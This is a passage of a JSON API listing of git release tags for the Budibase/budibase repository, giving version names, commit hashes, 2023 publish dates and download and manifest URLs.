ste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.39-alpha.15/manifests"},{"name":"2.9.39-alpha.14","sha":"4c3cce82776744df7295880d5470f9b7da40d788","kind":"commit","published_at":"2023-09-07T09:19:36.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.39-alpha.14","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.39-alpha.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.39-alpha.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.39-alpha.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.39-alpha.14/manifests"},{"name":"2.9.39-alpha.13","sha":"5d0cf244866f4637336684e703d506b3f89eda72","kind":"commit","published_at":"2023-09-07T09:02:16.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.39-alpha.13","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.39-alpha.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.39-alpha.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.39-alpha.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.39-alpha.13/manifests"},{"name":"2.9.39-alpha.12","sha":"b90006835246f13f84c2d43bc85115e64d0dc8bb","kind":"commit","published_at":"2023-09-07T08:54:31.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.39-alpha.12","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.39-alpha.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.39-alpha.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.39-alpha.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.39-alpha.12/manifests"},{"name":"2.9.39-alpha.11","sha":"ceabccaaea1d0a8e3f598ec2136f8026236789c5","kind":"commit","published_at":"2023-09-06T17:30:39.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.39-alpha.11","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.39-alpha.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.39-alpha.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.39-alpha.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.39-alpha.11/manifests"},{"name":"2.9.39-alpha.10","sha":"066d8ff8d3f7a6e431bc68688e8ad955166aa352","kind":"commit","published_at":"2023-09-06T15:38:30.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.39-alpha.10","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.39-alpha.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.39-alpha.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.39-alpha.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.39-alpha.10/manifests"},{"name":"2.9.39-alpha.9","sha":"cc38c1d294eac269d15d26fb6da848c773934594","kind":"commit","published_at":"2023-09-06T11:32:12.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.39-alpha.9","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.39-alpha.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.39-alpha.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.39-alpha.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.39-alpha.9/manifests"},{"name":"2.9.39-alpha.8","sha":"eede208b4e0f2c7c519c9b90d8cc9d2569ccc655","kind":"commit","published_at":"2023-09-06T10:42:16.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.39-alpha.8","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.39-alpha.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.39-alpha.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.39-alpha.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.39-alpha.8/manifests"},{"name":"2.9.39-alpha.7","sha":"153fcdb63f83cdf481f03f47f0eadea1978dc9ca","kind":"commit","published_at":"2023-09-06T10:18:16.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.39-alpha.7","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.39-alpha.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.39-alpha.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.39-alpha.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.39-alpha.7/manifests"},{"name":"2.9.39-alpha.6","sha":"a4dca543a4fe44c4ef30787e2af5ed9e635bcf0e","kind":"commit","published_at":"2023-09-06T09:25:43.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.39-alpha.6","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.39-alpha.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.39-alpha.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.39-alpha.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.39-alpha.6/manifests"},{"name":"2.9.39-alpha.5","sha":"97e5bd804d58d4536b91e9e9423cc8e9c29bc084","kind":"commit","published_at":"2023-09-06T09:18:13.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.39-alpha.5","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.39-alpha.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.39-alpha.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.39-alpha.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.39-alpha.5/manifests"},{"name":"2.9.39-alpha.4","sha":"ade73636ef8f6bf67cfef8de4b9bba4dcc2b0e98","kind":"commit","published_at":"2023-09-06T08:19:01.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.39-alpha.4","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.39-alpha.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.39-alpha.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.39-alpha.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.39-alpha.4/manifests"},{"name":"2.9.39-alpha.3","sha":"54411a3c7e7e64fdad1b3df827832c160db097b6","kind":"commit","published_at":"2023-09-06T08:07:20.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.39-alpha.3","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.39-alpha.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.39-alpha.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.39-alpha.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.39-alpha.3/manifests"},{"name":"2.9.39-alpha.2","sha":"de8a0d3aa3acda9a6b00bf13ff294eae9be407a3","kind":"commit","published_at":"2023-09-06T07:49:28.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.39-alpha.2","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.39-alpha.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.39-alpha.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.39-alpha.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.39-alpha.2/manifests"},{"name":"2.9.39-alpha.1","sha":"629dd18b576530535ff72bc776f329ca5096bd98","kind":"commit","published_at":"2023-09-05T15:43:27.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.39-alpha.1","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.39-alpha.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.39-alpha.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.39-alpha.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.39-alpha.1/manifests"},{"name":"2.9.39-alpha.0","sha":"3bac3a8bcaa18294022f5b78586ad87dc31c5f48","kind":"commit","published_at":"2023-09-05T14:36:31.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.39-alpha.0","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.39-alpha.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.39-alpha.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.39-alpha.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.39-alpha.0/manifests"},{"name":"2.9.33-alpha.16","sha":"e2e20276cb71fd0d6fb71ae70d7a70a4ee91cb6b","kind":"commit","published_at":"2023-09-05T11:35:53.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.33-alpha.16","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.33-alpha.16","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.33-alpha.16","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.33-alpha.16","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.33-alpha.16/manifests"},{"name":"2.9.38","sha":"668584cd0e5774f3528ef0089ca4a95fdb68a70b","kind":"commit","published_at":"2023-09-04T17:04:15.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.38","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.38","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.38","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.38","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.38/manifests"},{"name":"2.9.33-alpha.15","sha":"fcab250bdaf790ed05102ff8c0bee672d16f0397","kind":"commit","published_at":"2023-09-04T15:11:50.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.33-alpha.15","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.33-alpha.15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.33-alpha.15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.33-alpha.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.33-alpha.15/manifests"},{"name":"2.9.33-alpha.14","sha":"be1d48e038cae713fc7aa7b8151db3647e65cbff","kind":"commit","published_at":"2023-09-04T14:34:06.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.33-alpha.14","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.33-alpha.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.33-alpha.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.33-alpha.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.33-alpha.14/manifests"},{"name":"2.9.33-alpha.13","sha":"bb12d2a8cbe8d94ad7a5f1b77472a9d37ac10de2","kind":"commit","published_at":"2023-09-04T10:49:02.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.33-alpha.13","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.33-alpha.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.33-alpha.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.33-alpha.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.33-alpha.13/manifests"},{"name":"2.9.33-alpha.12","sha":"dd5d82726e1d5aac897490d18479da665094ef77","kind":"commit","published_at":"2023-09-04T10:22:21.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.33-alpha.12","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.33-alpha.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.33-alpha.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.33-alpha.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.33-alpha.12/manifests"},{"name":"2.9.37","sha":"7ee0c0e3d32acb76e263c4d5dac3e6a24fe3ea96","kind":"commit","published_at":"2023-09-04T10:03:26.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.37","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.37","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.37","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.37","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.37/manifests"},{"name":"2.9.36","sha":"7e90fb9e24a56f20d1b7f24958effa9e1fdd2cc1","kind":"commit","published_at":"2023-09-01T14:37:21.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.36","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.36","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.36","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.36","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.36/manifests"},{"name":"2.9.35","sha":"fae3943ba8ceb243eb32f962888f5e85dde1dd6c","kind":"commit","published_at":"2023-09-01T10:56:59.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.35","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.35","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.35","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.35","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.35/manifests"},{"name":"2.9.33-alpha.11","sha":"d6a7df886f3a67eb1d170e24caf3187c0720794d","kind":"commit","published_at":"2023-09-01T10:42:25.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.33-alpha.11","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.33-alpha.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.33-alpha.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.33-alpha.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.33-alpha.11/manifests"},{"name":"2.9.33-alpha.10","sha":"00a4cb68bd660312fd75eec193a2fc5dc7dd3f53","kind":"commit","published_at":"2023-08-31T14:44:25.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.33-alpha.10","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.33-alpha.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.33-alpha.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.33-alpha.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.33-alpha.10/manifests"},{"name":"2.9.33-alpha.9","sha":"5d483cb6474cf0b6d513cde32cd0d7eedd2ff838","kind":"commit","published_at":"2023-08-31T14:05:32.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.33-alpha.9","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.33-alpha.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.33-alpha.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.33-alpha.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.33-alpha.9/manifests"},{"name":"2.9.33-alpha.8","sha":"2308d99e4c851da0c2cc163c979af5171bc39575","kind":"commit","published_at":"2023-08-31T11:23:02.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.33-alpha.8","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.33-alpha.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.33-alpha.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.33-alpha.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.33-alpha.8/manifests"},{"name":"2.9.33-alpha.7","sha":"72b8b01ba8bc23f2760dd02593006b2a3bc7b76c","kind":"commit","published_at":"2023-08-31T10:16:37.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.33-alpha.7","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.33-alpha.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.33-alpha.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.33-alpha.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.33-alpha.7/manifests"},{"name":"2.9.33-alpha.6","sha":"e13ea88e42a01d22f082dafed9e32bd3f3dcdc73","kind":"commit","published_at":"2023-08-31T07:55:21.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.33-alpha.6","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.33-alpha.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.33-alpha.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.33-alpha.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.33-alpha.6/manifests"},{"name":"2.9.33-alpha.5","sha":"c1f344347d011afcec82368b1918e4768742258f","kind":"commit","published_at":"2023-08-30T13:11:42.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.33-alpha.5","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.33-alpha.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.33-alpha.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.33-alpha.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.33-alpha.5/manifests"},{"name":"2.9.33-alpha.4","sha":"d8ab9184095a84e4edaa52475b72733eb8789b5f","kind":"commit","published_at":"2023-08-30T10:37:14.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.33-alpha.4","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.33-alpha.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.33-alpha.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.33-alpha.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.33-alpha.4/manifests"},{"name":"2.9.33-alpha.3","sha":"defa424a12fadc695bbc1313429a6970d1b3b290","kind":"commit","published_at":"2023-08-30T07:44:43.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.33-alpha.3","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.33-alpha.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.33-alpha.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.33-alpha.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.33-alpha.3/manifests"},{"name":"2.9.33-alpha.2","sha":"0d07329e81dfaad3d016fa0e4f48bae4031217cf","kind":"commit","published_at":"2023-08-29T16:45:29.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.33-alpha.2","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.33-alpha.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.33-alpha.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.33-alpha.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.33-alpha.2/manifests"},{"name":"2.9.34","sha":"cc566da3a55f197a788145eb9ff51210f38d9270","kind":"commit","published_at":"2023-08-29T16:38:13.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.34","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.34","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.34","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.34","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.34/manifests"},{"name":"2.9.33","sha":"faf271a2ca10d93acfd2b5e140d220ec727f710e","kind":"commit","published_at":"2023-08-29T13:28:35.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.33","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.33","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.33","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.33","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.33/manifests"},{"name":"2.9.33-alpha.1","sha":"ff0fe5d45f16c8f86d0fee864260a0686624f0d0","kind":"commit","published_at":"2023-08-29T10:44:43.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.33-alpha.1","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.33-alpha.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.33-alpha.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.33-alpha.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.33-alpha.1/manifests"},{"name":"2.9.33-alpha.0","sha":"915832ab91a214d898af7d5b79245b6ceb93820b","kind":"commit","published_at":"2023-08-24T14:52:09.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.33-alpha.0","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.33-alpha.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.33-alpha.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.33-alpha.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.33-alpha.0/manifests"},{"name":"2.9.32","sha":"ee058a4c26a1f2031190a78dfc80bd012141918a","kind":"commit","published_at":"2023-08-24T14:05:10.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.32","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.32","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.32","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.32","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.32/manifests"},{"name":"2.9.31","sha":"fec20e526e4a2b82652787df8b0a50a6046f4427","kind":"commit","published_at":"2023-08-24T12:52:39.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.31","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.31","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.31","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.31","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.31/manifests"},{"name":"2.9.30-alpha.13","sha":"3dea081fdfce51a094733d0620981178c1ece33b","kind":"commit","published_at":"2023-08-24T08:34:13.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.30-alpha.13","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.30-alpha.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.30-alpha.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.30-alpha.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.30-alpha.13/manifests"},{"name":"2.9.30-alpha.12","sha":"e9bf17a68f1f0f29948fb2bdfaff83c841e14130","kind":"commit","published_at":"2023-08-24T07:17:31.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.30-alpha.12","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.30-alpha.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.30-alpha.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.30-alpha.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.30-alpha.12/manifests"},{"name":"2.9.30-alpha.11","sha":"7f9ac287fc4988ccfe37626dc669af2bc16aba63","kind":"commit","published_at":"2023-08-23T17:37:04.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.30-alpha.11","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.30-alpha.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.30-alpha.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.30-alpha.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.30-alpha.11/manifests"},{"name":"2.9.30-alpha.10","sha":"42c6434260b2b263212ffba700c9c976cc18f78d","kind":"commit","published_at":"2023-08-23T14:07:37.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/